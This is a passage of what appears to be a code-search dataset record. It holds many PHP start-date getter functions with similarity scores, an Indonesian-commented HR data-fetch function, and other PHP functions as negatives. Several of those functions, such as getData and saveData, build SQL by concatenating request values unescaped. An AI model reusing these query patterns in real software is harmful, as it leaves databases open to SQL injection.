{\n return $this->start_time;\n }", "public function getStartTime()\n {\n return $this->start_time;\n }", "public function getStartTime()\n {\n return $this->start_time;\n }", "public function getStartTime()\n {\n return $this->start_time;\n }", "public function getStartTime()\n {\n return $this->start_time;\n }", "public function getStartTime()\n {\n return $this->start_time;\n }", "public function getStartTime()\n {\n return $this->start_time;\n }", "public function getStartTime()\n {\n return $this->start_time;\n }", "public function getStartTime()\n {\n return $this->start;\n }", "public function getBeginDate() {\n return $this->beginDate;\n }", "public function getStartDate(){\n\t\treturn $this->startDate;\n\t}", "public function getBeginDateAttribute()\n {\n return date('Y-m-d',strtotime($this->attributes['created_at']));\n }", "public function getStartTime()\n {\n return $this->get(self::_START_TIME);\n }", "public function getStartTime()\n {\n return $this->get(self::_START_TIME);\n }", "public function getStartDate()\n {\n return $this->startDate;\n }", "public function getStartDate()\n {\n return $this->startDate;\n }", "public function getStartDate()\n {\n return $this->startDate;\n }", "public function getStartDate()\n {\n return $this->startDate;\n }", "public function getStartDate()\n {\n return $this->startDate;\n }", "public function getStart() : \\DateTime\n {\n return new \\Datetime($this->start);\n }", "public function getStartTime()\n {\n return $this->get(self::START_TIME);\n }", "public function getStartTime() {\n return $this->get(self::STARTTIME);\n }", "function getStartDate() \n\t{\n\t\treturn (strlen($this->start_date)) ? $this->start_date : NULL;\n\t}", "function GetStartTimestamp () {\n return $this->hunt_start_timestamp;\n }", "public function starttime() {\n return $this->info['starttransfer_time'];\n }", "public function getStartDate() {\n return $this->startDate;\n }", "public function getBeginTime()\n {\n return $this->get(self::_BEGIN_TIME);\n }", "public function getStartOfDayDate()\n {\n return $this->_date->date(null, '0:0:0');\n }", "protected function getStart()\n {\n return new Zend_Date(\n Mage::getStoreConfig(self::CONFIG_PREFIX . 'start', $this->getStore()),\n $this->getDateTimeFormat(),\n $this->getLocale()->getLocaleCode()\n );\n }", "public function getDateBegin()\n {\n return $this->dateBegin;\n }", "public function getDateBegin()\n {\n return $this->dateBegin;\n }", "public function getStartDate()\n {\n return $this->StartDate;\n }", "public function getStartDate() \n {\n return $this->_fields['StartDate']['FieldValue'];\n }", "public function getStartDate() {\n\n return $this->start_date;\n }", "public function get_startDate()\n {\n return $this->_startDate;\n }", "public function getStartTime();", "public function getStartTime();", "public function getStartTime();", "public function getStartTime();", "public function getTime_start()\n {\n return $this->time_start;\n }", "public function getTimeStart() {\n return $this->time_start;\n }", "public function getStartTime() {\r\n\t\treturn $this->startTime;\r\n\t}", "public function getStartedAt()\n {\n return $this->started_at;\n }", "public function getStartOfDayDate()\n\t{\n\t\t$objectManager = \\Magento\\Framework\\App\\ObjectManager::getInstance();\n\n\t\treturn $objectManager->create('\\Magento\\Framework\\Stdlib\\DateTime\\DateTime')->date(null, '0:0:0');\n\t}", "public function newest_entry_start()\n\t{\n\t\treturn ee()->localize->format_date('%Y-%m-%d %H:%i', ee()->localize->now - 604800);\n\t}", "public function getStartDate();", "public function getStartDate();", "public function getStart()\n {\n return Carbon::createFromFormat('d/m/Y', $this->data_entrada);\n }", "function eo_get_the_start($format='d-m-Y',$id='',$occurrence=0){\n\tglobal $post;\n\t$event = $post;\n\n\tif(isset($id)&&$id!='') $event = eo_get_by_postid($id,$occurrence);\n\t\n\tif(empty($event)) return false;\n\n\t$date = esc_html($event->StartDate).' '.esc_html($event->StartTime);\n\n\tif(empty($date)||$date==\" \")\n\t\treturn false;\n\n\treturn eo_format_date($date,$format);\n}", "public function getFormattedStartDate() {\n\t\t$format_1 = 'Y-m-d';\n\t\t$format_2 = 'Y-m-d H:i';//format coming from web page\n\t\t$format_3 = 'Y-m-d H:i:s';//format coming from mysql\n\t\t$date = null;\n\t\t$formatted_date = \"\";\n\t\t\n\t\tif (!isset($this -> start_time) ) \n\t\t\treturn \"\";\n\t\t$date = DateTime::createFromFormat($format_2, $this -> start_time);\n\t\tif ( $date == false )\n\t\t\t$date = DateTime::createFromFormat($format_3, $this -> start_time);\n\t\t// var_dump($date);\n\t\treturn $date == false ? \"\" : $date->format($format_1) ;\n\t\t\n\t}", "function aspire_get_start_datetime($startdate, $starttime){\n\n date_default_timezone_set('US/Eastern');\n\n $start_datetime = strtotime($startdate . $starttime);\n\n return $start_datetime;\n\n}", "public function getFormattedBeginAt(): string\n {\n\n return $this->beginAt->format('d-m-Y');\n\n }", "public function getStartTime()\n {\n return $this->startTime;\n }", "public function getStartTime()\n {\n return $this->startTime;\n }", "public function getStartTime()\n {\n return $this->startTime;\n }", "public function getStartedAt()\n {\n return $this->startedAt;\n }", "public function getStart() {\n\t\treturn $this->attributes['start'];\n\t}", "public function getEventStartDate() {\n\t\treturn ($this->eventStartDate);\n\t}", "public function getStartdate() : string\r\n\t{\r\n\t\treturn $this->startdate;\r\n\t}", "public function getDate() {\n if($this->items!==false)\n $date = date('Y-m-d H:i:s',strtotime(@current($this->items)->created_at));\n if(strlen($date)==0)\n $date = date('Y-m-d H:i:s');\n return $date;\n }", "public function getServiceStartAt() {\n return $this->attributes['service_start_at'];\n }", "public function getStartTime()\n {\n $time = $this->eventdatetime->starttime;\n\n if ($this->eventdatetime->isRecurring() &&\n isset($this->recurringdate) &&\n $this->recurringdate instanceof \\UNL\\UCBCN\\Event\\RecurringDate\n ) {\n $first_recurring_date = $this->recurringdate->getFirstRecordInOngoingSeries();\n if (isset($first_recurring_date->recurringdate)) {\n $time = $first_recurring_date->recurringdate . ' ' . substr($time, 11);\n }\n }\n\n return $time;\n }", "public function getStartTime($date=null){\n\t\t$dateNew = new DateTime($date);\n\t\t$dateNew->setTime(0,0);\n\t\t$dateNew = date_format($dateNew,\"Y-m-d H:i:s\");\n\t\treturn $dateNew;\n\t}", "public function getStartTime() {\n return $startTime;\n }", "function eo_the_start($format='d-m-Y',$id='',$occurrence=0){\n\techo eo_get_the_start($format,$id,$occurrence);\n}", "function start_time($start_time=null)\n {\n if (isset($start_time)) $this->start_time = $start_time;\n return $this->start_time;\n }", "public function getManualDateStart() {}", "public function dateStartFriendly(): string\n {\n return Carbon::parse($this->date_start)->format('d-m-Y');\n }", "public function getStart()\n {\n return isset($this->transaction['start']) ? $this->transaction['start'] : '';\n }", "public function getDateAttribute()\n {\n return strtotime($this->attributes['begin_trip']);\n }", "public function getStartTimeOffset()\n {\n return $this->start_time_offset;\n }", "public function getStartDate()\n {\n if (array_key_exists(\"startDate\", $this->_propDict)) {\n return $this->_propDict[\"startDate\"];\n } else {\n return null;\n }\n }", "public function getBooTimeStartAttribute()\n\t{\n\t\treturn Carbon::createFromTimestamp($this->attributes['boo_time_start'], $this->getAppTimeZone());\n\t}", "private function getEmptyStartDate()\n {\n return new \\DotbDateTime('2100-01-01 12:00:00');\n }", "public function get_date()\n {\n $start_date = $this->start_date;\n if (0 >= (int) $start_date) {\n return false;\n }\n\n return date('Y-m-d H:i', $start_date / 1000);\n }", "private function getEventStartDate()\n {\n $startDate = $this->TicketPage()->getEventStartDate();\n $this->extend('updateEventStartDate', $startDate);\n return $startDate;\n }", "public function getStartDate()\n {\n if ($this->startDate == null) {\n return null;\n }\n return $this->startDate->format(\"Ymd\");\n }", "public function firstPublished(): DateTimeInterface;", "public function getStartOfDay()\n {\n $dateStartUTC = gmdate('Y-m-d', $this->timestamp);\n return Date::factory($dateStartUTC)->setTimezone($this->timezone);\n }", "public function getStartDateTime()\n {\n if (array_key_exists(\"startDateTime\", $this->_propDict)) {\n if (is_a($this->_propDict[\"startDateTime\"], \"\\DateTime\") || is_null($this->_propDict[\"startDateTime\"])) {\n return $this->_propDict[\"startDateTime\"];\n } else {\n $this->_propDict[\"startDateTime\"] = new \\DateTime($this->_propDict[\"startDateTime\"]);\n return $this->_propDict[\"startDateTime\"];\n }\n }\n return null;\n }", "public function get_starttime()\n {\n }", "public function getWindowStartTime()\n {\n return $this->window_start_time;\n }", "public function getBeginTime(): ?string\n {\n return $this->_begin_time;\n }" ]
[ "0.73288393", "0.7173484", "0.6942839", "0.69411594", "0.6844922", "0.684201", "0.6826717", "0.6824359", "0.68055755", "0.6770171", "0.67701185", "0.67454726", "0.6716841", "0.6634189", "0.6624357", "0.6624357", "0.6624357", "0.6617639", "0.6617639", "0.6617639", "0.6617639", "0.6617639", "0.6617639", "0.6617639", "0.6617639", "0.6617639", "0.6591966", "0.6573433", "0.6548208", "0.65392953", "0.65291595", "0.65291595", "0.6511433", "0.6511433", "0.6511433", "0.6511433", "0.6511433", "0.6509251", "0.64975554", "0.64955455", "0.6490129", "0.646696", "0.6455778", "0.6432955", "0.64308006", "0.64191633", "0.6405937", "0.6397311", "0.6397311", "0.6396707", "0.6391086", "0.63810766", "0.6379122", "0.6365422", "0.6365422", "0.6365422", "0.6365422", "0.63598573", "0.6355059", "0.63315105", "0.6319063", "0.6318954", "0.63183206", "0.6304895", "0.6304895", "0.6280396", "0.62768894", "0.625861", "0.62525034", "0.6238607", "0.62345797", "0.62345797", "0.62345797", "0.62327516", "0.62173116", "0.6209146", "0.6186743", "0.61825114", "0.61779684", "0.6167512", "0.61387956", "0.6124728", "0.61194557", "0.6106705", "0.60963213", "0.6085715", "0.6084816", "0.6072051", "0.60415906", "0.6024394", "0.60216784", "0.6018114", "0.59996104", "0.5988185", "0.59415025", "0.59378546", "0.59358406", "0.59148467", "0.58932215", "0.5879153", "0.5874277" ]
0.0
-1
DAFTAR FUNSI fungsi untuk menampilkan data $db = kelas database, $strDataID = ID data, jika ingin ditampilkan $arrInputData = array untuk menampung data
function getData($db, $strDataID = "") { global $words; global $arrData; if ($strDataID != "") { $strSQL = "SELECT t1.*, t2.employee_id, t2.id as id_employee, t2.employee_name, "; $strSQL .= "t3.section_name FROM hrd_employee_rating AS t1 "; $strSQL .= "LEFT JOIN hrd_employee AS t2 ON t1.id_employee = t2.id "; $strSQL .= "LEFT JOIN hrd_section AS t3 ON t2.section_code = t3.section_code "; $strSQL .= "WHERE t1.id = '$strDataID' "; $resDb = $db->execute($strSQL); if ($rowDb = $db->fetchrow($resDb)) { $arrData['dataEmployee'] = $rowDb['employee_id']; $arrData['dataEmployeeName'] = $rowDb['employee_name']; $arrData['dataSection'] = $rowDb['section_name']; $arrData['dataID'] = $rowDb['id']; $arrData['dataCode'] = $rowDb['rating_code']; $arrData['dataPeriod'] = $rowDb['period']; $arrData['dataDate'] = $rowDb['rating_date']; $arrData['dataNote'] = $rowDb['note']; } } return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function input_data($data,$table){\n\t\t$this->db->insert($table,$data);//menginputkan data ke database dengan function input_data\n }", "function saveData($db, &$strError)\n{\n global $error;\n $strError = \"\";\n (isset($_REQUEST['dataType'])) ? $strDataType = $_REQUEST['dataType'] : $strDataType = \"department\";\n (isset($_REQUEST['dataCode'])) ? $strDataCode = trim($_REQUEST['dataCode']) : $strDataCode = \"\";\n (isset($_REQUEST['dataOldCode'])) ? $strDataOldCode = $_REQUEST['dataOldCode'] : $strDataOldCode = \"\";\n (isset($_REQUEST['dataName'])) ? $strDataName = $_REQUEST['dataName'] : $strDataName = \"\";\n (isset($_REQUEST['dataID'])) ? $strDataID = $_REQUEST['dataID'] : $strDataID = \"\";\n // cek validasi -----------------------\n if (strtolower($strDataType) == \"management\") {\n // --- EDIT DATA MANAGEMENT\n if ($strDataCode == \"\") {\n $strError = $error['empty_code'];\n return false;\n } else if ($strDataName == \"\") {\n $strError = $error['empty_name'];\n return false;\n } else {\n ($strDataID == \"\") ? $strKriteria = \"\" : $strKriteria = \"AND id <> '$strDataID' \";\n if (isDataExists($db, \"hrd_management\", \"management_code\", $strDataCode, $strKriteria)) {\n $strError = $error['duplicate_code'] . \" Management -> $strDataCode\";\n return false;\n }\n }\n // simpan data -----------------------\n $data = [\n \"management_code\" => check_plain($strDataCode),\n \"management_name\" => check_plain($strDataName),\n ];\n $tbl = new cModel(\"hrd_management\", \"management\");\n if ($strDataID == \"\") {\n $tbl->insert($data);\n // data baru\n writeLog(ACTIVITY_ADD, MODULE_PAYROLL, \"$strDataCode\", 0);\n } else {\n $tbl->update([\"id\" => $strDataID], $data);\n writeLog(ACTIVITY_EDIT, MODULE_PAYROLL, \"$strDataCode\", 0);\n // update data2 dibawahnya, jika ada perubahan kode\n $strDataCode = check_plain($strDataCode);\n $strDataOldCode = check_plain($strDataOldCode);\n if ($strDataOldCode != $strDataCode) {\n $tbl->query(\n \"\n UPDATE hrd_division SET management_code = '$strDataCode' \n WHERE management_code = '$strDataOldCode'; \n UPDATE hrd_department SET management_code = '$strDataCode' \n WHERE management_code = '$strDataOldCode';\n UPDATE hrd_sub_department SET division_code = '$strDataCode'\n WHERE management_code = '$strDataOldCode';\n UPDATE hrd_section SET division_code = '$strDataCode' \n WHERE management_code = '$strDataOldCode';\n UPDATE hrd_sub_section SET division_code = '$strDataCode' \n WHERE management_code = '$strDataOldCode';\n UPDATE hrd_employee SET management_code = '$strDataCode' \n WHERE management_code = '$strDataOldCode'\"\n );\n }\n }\n } else if (strtolower($strDataType) == \"division\") {\n (isset($_REQUEST['dataManCode'])) ? $strDataManCode = $_REQUEST['dataManCode'] : $strDataManCode = \"\";\n // --- EDIT DATA DIVISION\n if ($strDataCode == \"\") {\n $strError = $error['empty_code'];\n return false;\n } else if ($strDataName == \"\") {\n $strError = $error['empty_name'];\n return false;\n } else {\n ($strDataID == \"\") ? $strKriteria = \"\" : $strKriteria = \"AND id <> '$strDataID' \";\n if (isDataExists($db, \"hrd_division\", \"division_code\", $strDataCode, $strKriteria)) {\n $strError = $error['duplicate_code'] . \" Division -> $strDataCode\";\n return false;\n }\n }\n // simpan data -----------------------\n $data = [\n \"division_code\" => $strDataCode,\n \"division_name\" => $strDataName,\n \"management_code\" => $strDataManCode,\n ];\n $tbl = new cModel(\"hrd_division\", \"division\");\n if ($strDataID == \"\") {\n $tbl->insert($data);\n // data baru\n writeLog(ACTIVITY_ADD, MODULE_PAYROLL, \"$strDataCode\", 0);\n } else {\n $tbl->update([\"id\" => $strDataID], $data);\n writeLog(ACTIVITY_EDIT, MODULE_PAYROLL, \"$strDataCode\", 0);\n // update data2 dibawahnya, jika ada perubahan kode\n if ($strDataOldCode != $strDataCode) {\n $tbl->query(\n \"\n UPDATE hrd_department SET division_code = '$strDataCode' \n WHERE division_code = '$strDataOldCode';\n UPDATE hrd_sub_department SET division_code = '$strDataCode'\n WHERE division_code = '$strDataOldCode';\n UPDATE hrd_section SET division_code = '$strDataCode' \n WHERE division_code = '$strDataOldCode';\n UPDATE hrd_sub_section SET division_code = '$strDataCode' \n WHERE division_code = '$strDataOldCode';\n UPDATE hrd_employee SET division_code = '$strDataCode' \n WHERE division_code = '$strDataOldCode'\"\n );\n }\n }\n } else if (strtolower($strDataType) == \"department\") {\n // --- EDIT DATA DEPARTMENT\n (isset($_REQUEST['dataManCode'])) ? $strDataManCode = $_REQUEST['dataManCode'] : $strDataManCode = \"\";\n (isset($_REQUEST['dataDivCode'])) ? $strDataDivCode = $_REQUEST['dataDivCode'] : $strDataDivCode = \"\";\n if ($strDataCode == \"\") {\n $strError = $error['empty_code'];\n return false;\n } else if ($strDataName == \"\") {\n $strError = $error['empty_name'];\n return false;\n } else {\n ($strDataID == \"\") ? $strKriteria = \"\" : $strKriteria = \"AND id <> '$strDataID' \";\n if (isDataExists($db, \"hrd_department\", \"department_code\", $strDataCode, $strKriteria)) {\n $strError = $error['duplicate_code'] . \" Department -> $strDataCode\";\n return false;\n }\n }\n $data = [\n \"department_code\" => $strDataCode,\n \"department_name\" => $strDataName,\n \"division_code\" => $strDataDivCode,\n \"management_code\" => $strDataManCode,\n ];\n $tbl = new cModel(\"hrd_department\", \"department\");\n // simpan data -----------------------\n if ($strDataID == \"\") {\n // data baru\n $tbl->insert($data);\n writeLog(ACTIVITY_ADD, MODULE_PAYROLL, \"$strDataCode\", 0);\n } else {\n $tbl->update([\"id\" => $strDataID], $data);\n writeLog(ACTIVITY_EDIT, MODULE_PAYROLL, \"$strDataCode\", 0);\n // update data2 dibawahnya, jika ada perubahan kode\n if ($strDataOldCode != $strDataCode) {\n $tbl->query(\n \"\n UPDATE hrd_sub_department SET department_code = '$strDataCode'\n WHERE department_code = '$strDataOldCode';\n UPDATE hrd_section SET department_code = '$strDataCode'\n WHERE department_code = '$strDataOldCode';\n UPDATE hrd_sub_section SET department_code = '$strDataCode' \n WHERE department_code = '$strDataOldCode';\n UPDATE hrd_employee SET department_code = '$strDataCode' \n WHERE department_code = '$strDataOldCode'\"\n );\n }\n }\n } else if (strtolower($strDataType) == \"subdepartment\") { // --- EDIT DATA SECTION\n (isset($_REQUEST['dataManCode'])) ? $strDataManCode = $_REQUEST['dataManCode'] : $strDataManCode = \"\";\n (isset($_REQUEST['dataDivCode'])) ? $strDataDivCode = $_REQUEST['dataDivCode'] : $strDataDivCode = \"\";\n (isset($_REQUEST['dataDeptCode'])) ? $strDataDeptCode = $_REQUEST['dataDeptCode'] : $strDataDeptCode = \"\";\n if ($strDataCode == \"\") {\n $strError = $error['empty_code'];\n return false;\n } else if ($strDataName == \"\") {\n $strError = $error['empty_name'];\n return false;\n } else {\n ($strDataID == \"\") ? $strKriteria = \"\" : $strKriteria = \"AND id <> '$strDataID' \";\n if (isDataExists($db, \"hrd_sub_department\", \"sub_department_code\", $strDataCode, $strKriteria)) {\n $strError = $error['duplicate_code'] . \" Sub Department -> $strDataCode\";\n return false;\n }\n }\n $data = [\n \"sub_department_code\" => $strDataCode,\n \"sub_department_name\" => $strDataName,\n \"department_code\" => $strDataDeptCode,\n \"division_code\" => $strDataDivCode,\n \"management_code\" => $strDataManCode,\n ];\n $tbl = new cModel(\"hrd_sub_department\", \"subdepartment\");\n // simpan data -----------------------\n if ($strDataID == \"\") {\n // data baru\n $tbl->insert($data);\n writeLog(ACTIVITY_ADD, MODULE_PAYROLL, \"$strDataCode\", 0);\n } else {\n $tbl->update([\"id\" => $strDataID], $data);\n writeLog(ACTIVITY_EDIT, MODULE_PAYROLL, \"$strDataCode\", 0);\n // update data2 dibawahnya, jika ada perubahan kode\n if ($strDataOldCode != $strDataCode) {\n $tbl->query(\n \"\n UPDATE hrd_section SET section_code = '$strDataCode'\n WHERE section_code = '$strDataOldCode';\n UPDATE hrd_sub_section SET section_code = '$strDataCode'\n WHERE section_code = '$strDataOldCode';\n UPDATE hrd_employee SET section_code = '$strDataCode' \n WHERE section_code = '$strDataOldCode'\"\n );\n }\n }\n } else if (strtolower($strDataType) == \"section\") { // --- EDIT DATA SECTION\n (isset($_REQUEST['dataManCode'])) ? $strDataManCode = $_REQUEST['dataManCode'] : $strDataManCode = \"\";\n (isset($_REQUEST['dataDivCode'])) ? $strDataDivCode = $_REQUEST['dataDivCode'] : $strDataDivCode = \"\";\n (isset($_REQUEST['dataDeptCode'])) ? $strDataDeptCode = $_REQUEST['dataDeptCode'] : $strDataDeptCode = \"\";\n (isset($_REQUEST['dataSubDeptCode'])) ? $strDataSubDeptCode = $_REQUEST['dataSubDeptCode'] : $strDataSubDeptCode = \"\";\n if ($strDataCode == \"\") {\n $strError = $error['empty_code'];\n return false;\n } else if ($strDataName == \"\") {\n $strError = $error['empty_name'];\n return false;\n } else {\n ($strDataID == \"\") ? $strKriteria = \"\" : $strKriteria = \"AND id <> '$strDataID' \";\n if (isDataExists($db, \"hrd_section\", \"section_code\", $strDataCode, $strKriteria)) {\n $strError = $error['duplicate_code'] . \" Section -> $strDataCode\";\n return false;\n }\n }\n $data = [\n \"section_code\" => $strDataCode,\n \"section_name\" => $strDataName,\n \"sub_department_code\" => $strDataSubDeptCode,\n \"department_code\" => $strDataDeptCode,\n \"division_code\" => $strDataDivCode,\n \"management_code\" => $strDataManCode,\n ];\n $tbl = new cModel(\"hrd_section\", \"section\");\n // simpan data -----------------------\n if ($strDataID == \"\") {\n // data baru\n $tbl->insert($data);\n writeLog(ACTIVITY_ADD, MODULE_PAYROLL, \"$strDataCode\", 0);\n } else {\n $tbl->update([\"id\" => $strDataID], $data);\n writeLog(ACTIVITY_EDIT, MODULE_PAYROLL, \"$strDataCode\", 0);\n // update data2 dibawahnya, jika ada perubahan kode\n if ($strDataOldCode != $strDataCode) {\n $tbl->query(\n \"\n UPDATE hrd_sub_section SET section_code = '$strDataCode'\n WHERE section_code = '$strDataOldCode';\n UPDATE hrd_employee SET section_code = '$strDataCode'\n WHERE section_code = '$strDataOldCode'\"\n );\n }\n }\n } else if (strtolower($strDataType) == \"subsection\") { // --- EDIT DATA SUBSECTION\n (isset($_REQUEST['dataManCode'])) ? $strDataManCode = $_REQUEST['dataManCode'] : $strDataManCode = \"\";\n (isset($_REQUEST['dataDivCode'])) ? $strDataDivCode = $_REQUEST['dataDivCode'] : $strDataDivCode = \"\";\n (isset($_REQUEST['dataDeptCode'])) ? $strDataDeptCode = $_REQUEST['dataDeptCode'] : $strDataDeptCode = \"\";\n (isset($_REQUEST['dataSectCode'])) ? $strDataSectCode = $_REQUEST['dataSectCode'] : $strDataSectCode = \"\";\n (isset($_REQUEST['dataSubDeptCode'])) ? $strDataSubDeptCode = $_REQUEST['dataSubDeptCode'] : $strDataSubDeptCode = \"\";\n //(isset($_REQUEST['dataOvertime'])) ? $strDataOvertime = $_REQUEST['dataOvertime'] : $strDataOvertime = \"f\";\n if ($strDataCode == \"\") {\n $strError = $error['empty_code'];\n return false;\n } else if ($strDataName == \"\") {\n $strError = $error['empty_name'];\n return false;\n } else {\n ($strDataID == \"\") ? $strKriteria = \"\" : $strKriteria = \"AND id <> '$strDataID' \";\n if (isDataExists($db, \"hrd_sub_section\", \"sub_section_code\", $strDataCode, $strKriteria)) {\n $strError = $error['duplicate_code'] . \" Sub Section -> $strDataCode\";\n return false;\n }\n }\n $data = [\n \"sub_section_code\" => $strDataCode,\n \"sub_section_name\" => $strDataName,\n \"section_code\" => $strDataSectCode,\n \"sub_department_code\" => $strDataSubDeptCode,\n \"department_code\" => $strDataDeptCode,\n \"division_code\" => $strDataDivCode,\n \"management_code\" => $strDataManCode,\n ];\n $tbl = new cModel(\"hrd_sub_section\", \"sub section\");\n // simpan data -----------------------\n if ($strDataID == \"\") {\n // data baru\n $tbl->insert($data);\n writeLog(ACTIVITY_ADD, MODULE_PAYROLL, \"$strDataCode\", 0);\n } else {\n $tbl->update([\"id\" => $strDataID], $data);\n writeLog(ACTIVITY_EDIT, MODULE_PAYROLL, \"$strDataCode\", 0);\n }\n }\n return true;\n}", "function getData($db, &$intRows, $strDataID = \"\")\n{\n global $words;\n global $intDefaultWidth;\n global $strEmptyOption;\n global $arrData;\n global $bolIsEmployee;\n global $bolPrint;\n $intMaxShow = 4; // tambahan yang perlu dimunculkan\n $intAdd = 10; // maksimum tambahan\n $intRows = 0;\n $intShown = 0;\n $strResult = \"\";\n $dtNow = getdate();\n $strReadonly = ($bolIsEmployee) ? \"readonly\" : \"\";\n if ($strDataID != \"\") {\n $strSQL = \"SELECT t1.*, t2.employee_id, t2.employee_name FROM hrd_trip_payment AS t1 \";\n $strSQL .= \"LEFT JOIN hrd_employee AS t2 ON t2.id = t1.id_employee \";\n $strSQL .= \"WHERE t1.id = '$strDataID' \";\n $resM = $db->execute($strSQL);\n if ($rowM = $db->fetchrow($resM)) {\n $arrData['dataEmployee'] = $rowM['employee_id'];\n $arrData['dataemployee_name'] = $rowM['employee_name'];\n $arrData['dataNo'] = $rowM['no'];\n $arrData['dataCode'] = $rowM['code'];\n $arrData['dataMonth'] = $rowM['month_code'];\n $arrData['dataYear'] = $rowM['year_code'];\n $arrData['dataMethod'] = $rowM['method'];\n $arrData['dataAccount'] = $rowM['accountNo'];\n $arrData['dataBudget'] = $rowM['budgetCode'];\n $arrData['dataPayment'] = $rowM['paymentDate'];\n $arrData['dataDate'] = $rowM['request_date'];\n $arrData['dataStatus'] = $rowM['status'];\n $strSQL = \"SELECT * FROM hrd_trip_payment_other WHERE id_trip_payment = '\" . $rowM['id'] . \"' \";\n $resDb = $db->execute($strSQL);\n while ($rowDb = $db->fetchrow($resDb)) {\n $intRows++;\n $intShown++;\n if ($intRows == 1) // cek pilihan currency\n {\n $arrData['dataCurrType'] = ($rowDb['amountOther'] != 0) ? 1 : 0;\n }\n $fltAmount = ($arrData['dataCurrType'] == 0) ? $rowDb['amount'] : $rowDb['amountOther'];\n $arrData['dataTotalOther'] += $fltAmount;\n if ($bolPrint) {\n $strResult .= \"<tr valign=top id=\\\"detailRows$intRows\\\">\\n\";\n $strResult .= \" <td align=right>$intRows&nbsp;</td>\";\n $strResult .= \" <td>&nbsp;\" . $rowDb['note'] . \"</td>\";\n $strResult .= \" <td nowrap align=right>\" . standardFormat($fltAmount) . \"&nbsp;</td>\";\n $strResult .= \"</tr>\\n\";\n } else {\n $strResult .= \"<tr valign=top id=\\\"detailRows$intRows\\\">\\n\";\n $strResult .= \" <td align=right><input type=hidden name=detailID$intRows value=\\\"\" . $rowDb['id'] . \"\\\">$intRows&nbsp;</td>\";\n $strResult .= \" <td><input type=text size=50 maxlength=90 name=detailNote$intRows value=\\\"\" . $rowDb['note'] . \"\\\"></td>\";\n $strResult .= \" <td nowrap><input type=text size=15 maxlength=20 name=detailCost$intRows value=\\\"\" . (float)$rowDb['amount'] . \"\\\" class=numeric onChange=\\\"onCostChanged($intRows);\\\" class='numeric'></td>\";\n $strResult .= \" <td nowrap><input type=text size=15 maxlength=20 name=detailCostOther$intRows value=\\\"\" . (float)$rowDb['amountOther'] . \"\\\" class=numeric onChange=\\\"onCostChanged($intRows, 'Other');\\\" class='numeric'></td>\";\n $strAction = \" onChange = \\\"chkDeleteChanged($intRows);\\\" \";\n $strResult .= \" <td align=center><input type=checkbox name='chkID$intRows' $strAction></td>\\n\";\n $strResult .= \"</tr>\\n\";\n }\n }\n writeLog(ACTIVITY_VIEW, MODULE_PAYROLL, \"\", 0);\n }\n }\n $arrData['dataTotal'] += $arrData['dataTotalOther'];\n // tambahkan dengan data kosong\n if (!$bolPrint) {\n for ($i = 1; $i <= $intAdd; $i++) {\n $intRows++;\n if ($intRows <= $intMaxShow) {\n $strResult .= \"<tr valign=top id=\\\"detailRows$intRows\\\">\\n\";\n $intShown++;\n $strDisabled = \"\";\n } else {\n $strResult .= \"<tr valign=top id=\\\"detailRows$intRows\\\" style=\\\"display:none\\\">\\n\";\n $strDisabled = \"disabled\";\n }\n $strResult .= \" <td align=right>$intRows&nbsp;</td>\";\n $strResult .= \" <td><input type=text size=50 maxlength=90 name=detailNote$intRows value=''></td>\";\n $strResult .= \" <td nowrap align=right><input type=text size=15 maxlength=20 name=detailCost$intRows $strDisabled value=0 class=numeric onChange=\\\"onCostChanged($intRows);\\\" class='numeric'></td>\";\n $strAction = \" onChange = \\\"chkDeleteChanged($intRows);\\\" \";\n $strResult .= \" <td nowrap align=right><input type=text size=15 maxlength=20 name=detailCostOther$intRows $strDisabled value=0 class=numeric onChange=\\\"onCostChanged($intRows, 'Other');\\\" class='numeric'></td>\";\n $strAction = \" onChange = \\\"chkDeleteChanged($intRows);\\\" \";\n $strResult .= \" <td align=center><input type=checkbox name='chkID$intRows' $strAction></td>\\n\";\n $strResult .= \"</tr>\\n\";\n }\n }\n // tambahkan hidden data\n $strResult .= \"<input type=hidden name=maxDetail value=$intRows>\";\n $strResult .= \"<input type=hidden name=numShow value=$intShown>\";\n return $strResult;\n}", "function saveData($db, &$strError)\n{\n global $_REQUEST;\n global $_SESSION;\n global $error;\n global $intMaxBus;\n $strmodified_byID = $_SESSION['sessionUserID'];\n $strError = \"\";\n (isset($_REQUEST['dataCode'])) ? $strDataCode = $_REQUEST['dataCode'] : $strDataCode = \"\";\n (isset($_REQUEST['dataAllowance'])) ? $strDataAllowance = $_REQUEST['dataAllowance'] : $strDataAllowance = \"0\";\n //(isset($_REQUEST['dataSeat'])) ? $strDataSeat = $_REQUEST['dataSeat'] : $strDataSeat = \"0\";\n (isset($_REQUEST['dataLocation'])) ? $strDataLocation = $_REQUEST['dataLocation'] : $strDataLocation = \"\";\n (isset($_REQUEST['dataArea'])) ? $strDataArea = $_REQUEST['dataArea'] : $strDataArea = \"\";\n //(isset($_REQUEST['dataBus'])) ? $strDataBus = $_REQUEST['dataBus'] : $strDataBus = \"\";\n (isset($_REQUEST['dataNote'])) ? $strDataNote = $_REQUEST['dataNote'] : $strDataNote = \"\";\n (isset($_REQUEST['dataID'])) ? $strDataID = $_REQUEST['dataID'] : $strDataID = \"\";\n // cek validasi -----------------------\n if ($strDataCode == \"\") {\n $strError = $error['empty_code'];\n return false;\n } else {\n ($strDataID == \"\") ? $strKriteria = \"\" : $strKriteria = \"AND id <> '$strDataID' \";\n if (isDataExists(\"hrdTransportation\", \"code\", $strDataCode, $strKriteria)) {\n $strError = $error['duplicate_code'] . \" -> $strDataCode\";\n return false;\n }\n }\n // simpan data -----------------------\n if ($strDataID == \"\") {\n // data baru\n $strSQL = \"INSERT INTO \\\"hrdTransportation\\\" (created,created_by,modified_by, \";\n $strSQL .= \"code, location, area, \\\"overtimeAllowance\\\", note) \";\n $strSQL .= \"VALUES(now(),'\" . $_SESSION['sessionUserID'] . \"','\" . $_SESSION['sessionUserID'] . \"', \";\n $strSQL .= \"'$strDataCode', '$strDataLocation','$strDataArea', \";\n $strSQL .= \"'$strDataAllowance','$strDataNote') \";\n $resExec = $db->execute($strSQL);\n // cari data ID\n $strSQL = \"SELECT id FROM \\\"hrdTransportation\\\" WHERE code = '$strDataCode' \";\n $resDb = $db->execute($strSQL);\n if ($rowDb = $db->fetchrow($resDb)) {\n $strDataID = $rowDb['id'];\n }\n writeLog(ACTIVITY_ADD, MODULE_PAYROLL, \"$strDataCode\", 0);\n } else {\n $strSQL = \"UPDATE \\\"hrdTransportation\\\" \";\n $strSQL .= \"SET modified_by = '\" . $_SESSION['sessionUserID'] . \"', code = '$strDataCode', 